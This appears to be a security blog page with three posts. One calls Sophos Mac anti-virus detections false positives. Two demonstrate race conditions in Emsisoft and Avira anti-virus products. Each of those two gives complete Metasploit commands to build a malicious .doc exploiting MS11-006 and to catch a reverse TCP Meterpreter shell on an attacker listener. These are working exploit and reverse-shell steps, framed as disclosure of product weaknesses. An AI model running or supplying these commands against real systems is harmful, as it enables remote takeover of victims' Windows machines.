10 of 10 malwares detected by Mac Sophos Anti-Virus are false positives. Does yours?

On April 24, Sophos Naked Security blog had publish a post regarding malware infections on Mac OS X. Sophos has claim that 20% of Mac computers where carrying one or more instances of Windows malwares. All these malwares where detected though they’re free Sophos Anti-Virus for Mac Home Edition.

Flashback malware was the big story of April for Mac consumers and all anti-virus company have jump on this opportunity to promote they’re products and to distill propaganda around Mac OS X security. I agree with them Mac OS X is a product like other product, and Mac OS X has also to be protected against threats, but the proposed solutions are worse than to do nothing.

 

During my tests of Sophos Anti-Virus for Mac Home Edition 10 of 10 malwares detected by the anti-virus were false positives harassing me with constant alert pop-up during regular operations, Spotlight indexing, Time Machine backup. Here under a sample of 10 infections detected by Sophos Anti-Virus for Mac.

Perl/FtpExp-A

False positives due to binary format of the “affected” files.

In conclusion Sophos is more strong to do marketing and give fear to consumers than to create a good Mac anti-virus that really detect something.

‪Metasploit Meterpreter race condition against Emsisoft Anti-Malware‬

0

This video will demonstrate you a race condition against Emsisoft Anti-Malware product. This race condition is due to design errors in Emsisoft Anti-Malware product.

We will exploit the MS11-006 vulnerability (Microsoft Windows CreateSizedDIBSECTION Stack Buffer Overflow) and use a reverse TCP meterpreter payload.

As you will see, the installed “Emsisoft Anti-Malware” product will detect the attack, but to late. The meterpreter sessions is created and you have access to the system. The demonstrated product is an update-to-date Emsisoft Anti-Malware (Version : 5.1.0.10 – Signatures : 5,466,115).

Metasploit commands :

To create the msf.doc file to exploit MS11-06 vulnerability

use exploit/windows/fileformat/ms11_006_createsizeddibsection
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.21
exploit

To listen for incoming meterpreter sessions

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.21
set InitialAutoRunScript migrate -f
exploit -j

Metasploit Meterpreter race condition against Avira anti-virus

0

This video will demonstrate you a race condition against Avira anti-virus products. This race condition is due to design errors in the Avira anti-virus products themselves.

We will exploit the MS11-006 vulnerability (Microsoft Windows CreateSizedDIBSECTION Stack Buffer Overflow) and use a reverse TCP meterpreter payload.

As you will see, the installed “Avira AntiVir Personal” anti-virus will detect the attack, but to late. The meterpreter sessions is created and you have access to the system.

The demonstrated product is an update-to-date “Avira AntiVir Personal”. But this race condition appear for others Avira products, such as “Avira AntiVir Premium” and “Avira Premium Security Suite“.

Metasploit commands :

To create the msf.doc file to exploit MS11-06 vulnerability

use exploit/windows/fileformat/ms11_006_createsizeddibsection
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.21
exploit

To listen for incoming meterpreter sessions

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.21
set InitialAutoRunScript migrate -f
exploit -j
